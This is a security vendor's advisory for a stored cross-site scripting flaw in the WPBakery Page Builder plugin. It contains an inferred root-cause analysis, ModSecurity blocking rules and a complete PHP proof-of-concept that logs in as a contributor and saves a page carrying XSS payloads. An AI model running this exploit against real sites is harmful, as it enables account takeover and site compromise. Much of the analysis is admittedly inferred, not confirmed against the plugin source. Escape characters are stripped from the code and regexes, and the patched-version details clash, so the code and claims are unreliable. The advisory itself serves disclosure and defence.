Published : November 22, 2026

CVE-2026-122221: WPBakery Page Builder <= 9.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'section_title_tag' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin js_composer
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 9.1
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-122221 (metadata-based): CVE-2026-122221 is an authenticated (Contributor+) stored cross-site scripting (XSS) vulnerability in the WPBakery Page Builder plugin (slug js_composer) affecting all versions up to and including 9.1. The vulnerable sink is the ‘section_title_tag’ shortcode attribute on the accordion element render path. The CVSS 3.1 base score is 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N), reflecting a low-privilege authenticated attacker who can store a payload that executes in the context of higher-privileged users viewing the affected page. Atomic Edge rates this as high-priority for multi-author WordPress sites, where a contributor account can be chained to admin compromise via session theft.

Root cause (inferred from CWE-79 and description, not confirmed against source since no diff is downloadable): the plugin ships a helper, resolveSectionTitleTag(), that enforces an [h1-h6, p] allow-list. The accordion render path does not call this helper. The ‘section_title_tag’ shortcode attribute value is therefore interpolated into the HTML tag name of the section title without an allow-list check or attribute-context escaping. The primary sanitization applied by WordPress core to post_content on save, wp_kses_post(), does not parse or rewrite shortcode attribute text. The attacker-supplied attribute value is stored verbatim in post meta or post_content and later echoed into the rendered page. Atomic Edge classifies this as a broken control flow (helper exists but unused) plus a missing output-encoding context, consistent with CWE-79.

Exploitation (inferred): a Contributor-level user creates or edits a page containing the WPBakery accordion shortcode with a malicious ‘section_title_tag’ value. Because the value is placed in the tag-name position of the generated HTML, the attacker must break out of the tag-name grammar. Payload families: (1) attribute breakout using // tricks such as section_title_tag=”h2 onmouseover=alert(document.domain) x=” producing a mutated tag; (2) tag-name level injection using a payload that closes the opening tag early, for example h2>img src=x onerror=alert(1) <; and (3) namespace or slash prefix tricks that the upstream shortcode parser may accept. The confirmed requirement from the description is that the value is stored verbatim and reaches the render sink. The exact payload grammar (which characters survive the shortcode parser and wp_kses_post) is inferred from the CWE and the described render behavior; Atomic Edge cannot verify the byte-level survival without the plugin source. Minimal environment: contributor account, one page, WPBakery editor or direct shortcode insertion, standard HTTP POST to /wp-admin/post.php (or the REST endpoint /wp-json/wp/v2/pages) with the 'content' parameter containing the accordion shortcode block.

Remediation (inferred): the patched version 9.2 must call resolveSectionTitleTag() (or equivalent allow-list normalization) on the 'section_title_tag' attribute in the accordion render path before interpolating it into HTML. The fix must (a) map any incoming value to the default tag when it is not in [h1..h6, p], and (b) sign or escape the value so that it is not stored verbatim by the shortcode parser. Atomic Edge notes that wp_kses_post() is not a substitute for context-aware escaping, and that any general fix in WPBakery must apply the allow-list at render time, not only at save time, because stored shortcodes may bypass the save-level sanitizer when the post is inserted via REST, XML-RPC, or a metabox patch.

Impact: a Contributor can store a script that executes in the session of any higher-privileged user who views the injected page. Successful exploitation enables session-cookie theft, admin account takeover via profile updates, plugin/theme modification for full site compromise, exfiltration of other authors' draft content, and pivot to REST API calls using the victim's nonce and cookies. The S:C scope change in the CVSS vector reflects the fact that the payload runs in the origin of the WordPress site, not the contributor's own editor session. Atomic Edge considers the practical severity higher than the 6.4 base score in multi-author newsrooms and SaaS blog networks.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-122221 (metadata-based)
# Virtual patch for authenticated (Contributor+) stored XSS in WPBakery Page Builder
# accordion 'section_title_tag' shortcode attribute (versions <= 9.1, patched in 9.2).
#
# Scope: WordPress admin post-save endpoints used by WPBakery. The exploit stores
# a malicious shortcode attribute in post_content via /wp-admin/post.php (action=editpost)
# or /wp-admin/admin-ajax.php. Legitimate traffic sends the same endpoints; the
# signature is the presence of a 'section_title_tag="' shortcode attribute in the
# post content whose value breaks out of the tag-name grammar (contains a space,
# '>' or '<' before the closing quote). This matches the described render sink:
# the value lands in a tag-name position without allow-list enforcement.

SecRule REQUEST_URI "@rx ^/wp-admin/(post.php|admin-ajax.php|admin-post.php)$" 
  "id:202612221,phase:2,deny,status:403,chain,msg:'CVE-2026-122221 WPBakery section_title_tag stored XSS via admin post save',severity:'CRITICAL',tag:'CVE-2026-122221',tag:'attack-xss',tag:'wordpress'"
  SecRule ARGS_POST:content|ARGS_POST:post_content "@rx section_title_tag=[x22x27][^x22x27]*(?:<|>|s)[^x22x27]*[x22x27]" 
    "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

# Secondary rule: catch payloads that obfuscate the leading quote with an encoded
# space or encoded angle bracket. Trigger only when the shortcode attribute is
# present AND the value contains a decoded angle bracket.
SecRule REQUEST_URI "@rx ^/wp-admin/(post.php|admin-ajax.php|admin-post.php)$" 
  "id:202612222,phase:2,deny,status:403,chain,msg:'CVE-2026-122221 WPBakery section_title_tag stored XSS (encoded payload)',severity:'CRITICAL',tag:'CVE-2026-122221',tag:'attack-xss',tag:'wordpress'"
  SecRule ARGS_POST:content|ARGS_POST:post_content "@rx section_title_tag=[x22x27][^x22x27]*&#(?:0?6[02]|x0?3[cCeE]);" 
    "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-122221 - WPBakery Page Builder <= 9.1 - Authenticated (Contributor+) Stored XSS via 'section_title_tag' Shortcode Attribute
//
// Assumptions (inferred from CVE metadata, not verified against plugin source):
//  - A Contributor-level account exists and can create pages via /wp-admin/post.php
//    or via the REST endpoint /wp-json/wp/v2/pages.
//  - The plugin slug is 'js_composer'; the shortcode is an accordion element
//    that accepts a 'section_title_tag' attribute.
//  - The render path interpolates section_title_tag into a tag-name position
//    without an allow-list check, so an attribute-breakout payload is stored
//    verbatim (wp_kses_post does not parse shortcode attribute text).
//  - The exact payload grammar that survives the WPBakery shortcode parser is
//    not verifiable without the plugin source. This PoC uses an attribute
//    breakout payload; adjust the $payload variable if the target grammar
//    differs.
//
// Usage: php cve-2026-122221-poc.php
// You will be prompted for the target URL, contributor credentials, and the
// target page ID (leave blank to create a new page).

$target_url = 'http://localhost/wordpress'; // <-- change to target WordPress base URL

function http_request($method, $url, $cookies, $data = null) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
    if ($cookies) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Cookie: ' . $cookies));
    }
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($data !== null) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        }
    }
    $resp = curl_exec($ch);
    $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('http' => $http, 'body' => $resp);
}

// Step 1: authenticate to wp-login.php
$user = readline('Contributor username: ');
$pass = readline('Contributor password: ');

$login = http_request('POST', rtrim($target_url, '/') . '/wp-login.php', null, array(
    'log'         => $user,
    'pwd'         => $pass,
    'wp-submit'   => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie'  => '1',
));

// Extract WordPress session cookies from Set-Cookie headers
$cookies = array();
foreach (explode("rn", $login['body']) as $line) {
    if (stripos($line, 'set-cookie:') === 0) {
        $c = trim(substr($line, 11));
        if (preg_match('/^([^;]+)/', $c, $m)) {
            $cookies[] = $m[1];
        }
    }
}
if (empty($cookies)) {
    fwrite(STDERR, "Login failed or no cookies returned. Aborting.n");
    exit(1);
}
$cookie_header = implode('; ', $cookies);

// Step 2: fetch the wp nonce from the new-page / edit-page screen
$page_id = trim(readline('Target page ID (blank to create new page): '));
$editor_url = rtrim($target_url, '/') . ($page_id === ''
    ? '/wp-admin/post-new.php?post_type=page'
    : '/wp-admin/post.php?post=' . urlencode($page_id) . '&action=edit');

$editor = http_request('GET', $editor_url, $cookie_header);
$nonce = '';
foreach (array('nonce', '_wpnonce', 'post_nonce') as $name) {
    if (preg_match('/name="' . preg_quote($name, '/') . '" value="([^"]+)"/', $editor['body'], $m)) {
        $nonce = $m[1];
        break;
    }
}

// Fallback: pull _wpnonce from REST API cookie-authenticated response
if ($nonce === '') {
    $rest_nonce = http_request('GET', rtrim($target_url, '/') . '/wp-admin/admin-ajax.php?action=rest-nonce', $cookie_header);
    if (preg_match('/"nonce"s*:s*"([^"]+)"/', $rest_nonce['body'], $m)) {
        $nonce = $m[1];
    }
}
if ($nonce === '') {
    fwrite(STDERR, "Could not extract a nonce. Aborting.n");
    exit(1);
}

// Step 3: compose the stored XSS payload in the 'section_title_tag' attribute.
// Payload family 1: attribute breakout (most likely to survive the parser).
// Payload family 2: tag-name breakout (uncomment the second value if needed).
$payload = 'h2 onmouseover="alert(document.domain)" x="';
// $payload = 'h2>img src=x onerror=alert(document.domain) <';

$shortcode = '[vc_accordion_section]' . "n"
    . 'section_title="Click me" ' . "n"
    . 'section_title_tag="' . $payload . '"' . "n"
    . '[/vc_accordion_section]';

$content = '<p>Atomic Edge PoC page</p>' . "n" . $shortcode;

// Step 4: submit the page (Contributor role, no approval needed for new page in some configs;
//         if submit-for-review is enforced, the payload still stores on the draft and fires
//         when an editor previews or publishes the page).
$post_fields = array(
    'action'      => 'editpost',
    '_wpnonce'    => $nonce,
    'post_ID'     => $page_id,
    'post_type'   => 'page',
    'post_title'  => 'Atomic Edge PoC ' . time(),
    'content'     => $content,
    'post_status' => 'draft',
    'publish'     => 'Save Draft',
);
if ($page_id === '') {
    unset($post_fields['post_ID']);
}

$result = http_request('POST', rtrim($target_url, '/') . '/wp-admin/post.php', $cookie_header, $post_fields);

// Step 5: report
if ($result['http'] == 200 || $result['http'] == 302) {
    echo "Atomic Edge PoC submitted.n";
    echo "Payload : " . $payload . "n";
    echo "Visual inspection of the saved draft page (as Editor/Admin) should trigger alert(document.domain).n";
    echo "Open the page preview in a browser to confirm the render sink.n";
} else {
    echo "Unexpected HTTP " . $result['http'] . " from post.php. Check credentials and nonce extraction.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.